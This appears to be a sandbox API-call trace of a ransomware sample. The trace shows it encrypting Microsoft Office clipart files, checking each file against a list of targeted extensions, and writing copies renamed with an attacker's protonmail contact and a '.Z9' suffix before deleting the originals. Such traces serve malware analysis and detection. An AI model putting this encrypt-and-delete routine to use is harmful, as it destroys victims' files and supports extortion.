	[0092.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.903] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.903] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0092.903] GetLastError () returned 0x0
	[0092.903] ReadFile (in: hFile=0x390, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x148c, lpOverlapped=0x0) returned 1
	[0092.904] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1490, lpOverlapped=0x0) returned 1
	[0092.905] ReadFile (in: hFile=0x390, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.905] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.906] SetEndOfFile (hFile=0x2bc) returned 1
	[0092.906] CloseHandle (hObject=0x2bc) returned 1
	[0092.906] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.906] SetEndOfFile (hFile=0x390) returned 1
	[0092.907] CloseHandle (hObject=0x390) returned 1
	[0092.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 1
	[0092.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0092.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0092.907] lstrlenW (lpString=".doc") returned 4
	[0092.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.907] lstrlenW (lpString=".docx") returned 5
	[0092.907] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.907] lstrlenW (lpString=".pdf") returned 4
	[0092.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.907] lstrlenW (lpString=".xls") returned 4
	[0092.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.907] lstrlenW (lpString=".xlsx") returned 5
	[0092.907] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.907] lstrlenW (lpString=".ppt") returned 4
	[0092.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0092.908] lstrlenW (lpString=".zip") returned 4
	[0092.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.908] lstrlenW (lpString=".rar") returned 4
	[0092.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.908] lstrlenW (lpString=".bz2") returned 4
	[0092.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.908] lstrlenW (lpString=".7z") returned 3
	[0092.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0092.908] lstrlenW (lpString=".dbf") returned 4
	[0092.908] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0092.908] lstrlenW (lpString=".1cd") returned 4
	[0092.908] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0092.908] lstrlenW (lpString=".jpg") returned 4
	[0092.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0092.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0092.908] lstrlenW (lpString=".doc") returned 4
	[0092.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.908] lstrlenW (lpString=".docx") returned 5
	[0092.908] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.908] lstrlenW (lpString=".pdf") returned 4
	[0092.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.908] lstrlenW (lpString=".xls") returned 4
	[0092.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.908] lstrlenW (lpString=".xlsx") returned 5
	[0092.908] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.908] lstrlenW (lpString=".ppt") returned 4
	[0092.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0092.908] lstrlenW (lpString=".zip") returned 4
	[0092.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.908] lstrlenW (lpString=".rar") returned 4
	[0092.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.909] lstrlenW (lpString=".bz2") returned 4
	[0092.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.909] lstrlenW (lpString=".7z") returned 3
	[0092.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0092.909] lstrlenW (lpString=".dbf") returned 4
	[0092.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0092.909] lstrlenW (lpString=".1cd") returned 4
	[0092.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0092.909] lstrlenW (lpString=".jpg") returned 4
	[0092.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.909] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.909] lstrlenW (lpString="FD00564_.WMF") returned 12
	[0092.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.909] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=896) returned 1
	[0092.909] CloseHandle (hObject=0x390) returned 1
	[0092.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x220
	[0092.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.910] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.910] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0092.910] GetLastError () returned 0x0
	[0092.910] ReadFile (in: hFile=0x390, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x380, lpOverlapped=0x0) returned 1
	[0093.142] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x390, lpOverlapped=0x0) returned 1
	[0093.143] ReadFile (in: hFile=0x390, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.143] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.143] SetEndOfFile (hFile=0x2bc) returned 1
	[0093.143] CloseHandle (hObject=0x2bc) returned 1
	[0093.144] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.144] SetEndOfFile (hFile=0x390) returned 1
	[0093.144] CloseHandle (hObject=0x390) returned 1
	[0093.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.345] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 1
	[0093.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0093.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0093.346] lstrlenW (lpString=".doc") returned 4
	[0093.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.346] lstrlenW (lpString=".docx") returned 5
	[0093.346] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.346] lstrlenW (lpString=".pdf") returned 4
	[0093.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.346] lstrlenW (lpString=".xls") returned 4
	[0093.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.346] lstrlenW (lpString=".xlsx") returned 5
	[0093.346] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.346] lstrlenW (lpString=".ppt") returned 4
	[0093.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0093.346] lstrlenW (lpString=".zip") returned 4
	[0093.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.346] lstrlenW (lpString=".rar") returned 4
	[0093.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.346] lstrlenW (lpString=".bz2") returned 4
	[0093.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.346] lstrlenW (lpString=".7z") returned 3
	[0093.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0093.346] lstrlenW (lpString=".dbf") returned 4
	[0093.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0093.346] lstrlenW (lpString=".1cd") returned 4
	[0093.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0093.346] lstrlenW (lpString=".jpg") returned 4
	[0093.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0093.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0093.347] lstrlenW (lpString=".doc") returned 4
	[0093.347] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.347] lstrlenW (lpString=".docx") returned 5
	[0093.347] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.347] lstrlenW (lpString=".pdf") returned 4
	[0093.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.347] lstrlenW (lpString=".xls") returned 4
	[0093.347] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.347] lstrlenW (lpString=".xlsx") returned 5
	[0093.347] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.347] lstrlenW (lpString=".ppt") returned 4
	[0093.347] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0093.347] lstrlenW (lpString=".zip") returned 4
	[0093.347] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.347] lstrlenW (lpString=".rar") returned 4
	[0093.347] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.347] lstrlenW (lpString=".bz2") returned 4
	[0093.347] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.347] lstrlenW (lpString=".7z") returned 3
	[0093.347] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0093.347] lstrlenW (lpString=".dbf") returned 4
	[0093.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0093.347] lstrlenW (lpString=".1cd") returned 4
	[0093.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0093.347] lstrlenW (lpString=".jpg") returned 4
	[0093.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.348] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.348] lstrlenW (lpString="FD01074_.WMF") returned 12
	[0093.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.348] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4634) returned 1
	[0093.348] CloseHandle (hObject=0x2b8) returned 1
	[0093.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x220
	[0093.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.349] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.349] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0093.349] GetLastError () returned 0x0
	[0093.349] ReadFile (in: hFile=0x2b8, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x121a, lpOverlapped=0x0) returned 1
	[0093.351] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1220, lpOverlapped=0x0) returned 1
	[0093.351] ReadFile (in: hFile=0x2b8, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.352] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.352] SetEndOfFile (hFile=0x300) returned 1
	[0093.352] CloseHandle (hObject=0x300) returned 1
	[0093.352] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.352] SetEndOfFile (hFile=0x2b8) returned 1
	[0093.353] CloseHandle (hObject=0x2b8) returned 1
	[0093.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.353] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 1
	[0093.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0093.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0093.353] lstrlenW (lpString=".doc") returned 4
	[0093.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.353] lstrlenW (lpString=".docx") returned 5
	[0093.353] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.353] lstrlenW (lpString=".pdf") returned 4
	[0093.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.353] lstrlenW (lpString=".xls") returned 4
	[0093.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.353] lstrlenW (lpString=".xlsx") returned 5
	[0093.353] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.353] lstrlenW (lpString=".ppt") returned 4
	[0093.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0093.354] lstrlenW (lpString=".zip") returned 4
	[0093.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.354] lstrlenW (lpString=".rar") returned 4
	[0093.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.354] lstrlenW (lpString=".bz2") returned 4
	[0093.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.354] lstrlenW (lpString=".7z") returned 3
	[0093.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0093.354] lstrlenW (lpString=".dbf") returned 4
	[0093.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0093.354] lstrlenW (lpString=".1cd") returned 4
	[0093.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0093.354] lstrlenW (lpString=".jpg") returned 4
	[0093.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0093.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0093.354] lstrlenW (lpString=".doc") returned 4
	[0093.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.354] lstrlenW (lpString=".docx") returned 5
	[0093.354] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.354] lstrlenW (lpString=".pdf") returned 4
	[0093.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.354] lstrlenW (lpString=".xls") returned 4
	[0093.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.354] lstrlenW (lpString=".xlsx") returned 5
	[0093.354] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.354] lstrlenW (lpString=".ppt") returned 4
	[0093.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0093.354] lstrlenW (lpString=".zip") returned 4
	[0093.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.354] lstrlenW (lpString=".rar") returned 4
	[0093.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.354] lstrlenW (lpString=".bz2") returned 4
	[0093.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.355] lstrlenW (lpString=".7z") returned 3
	[0093.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0093.355] lstrlenW (lpString=".dbf") returned 4
	[0093.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0093.355] lstrlenW (lpString=".1cd") returned 4
	[0093.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0093.355] lstrlenW (lpString=".jpg") returned 4
	[0093.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.355] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.355] lstrlenW (lpString="FD01084_.WMF") returned 12
	[0093.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.355] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2412) returned 1
	[0093.355] CloseHandle (hObject=0x2b8) returned 1
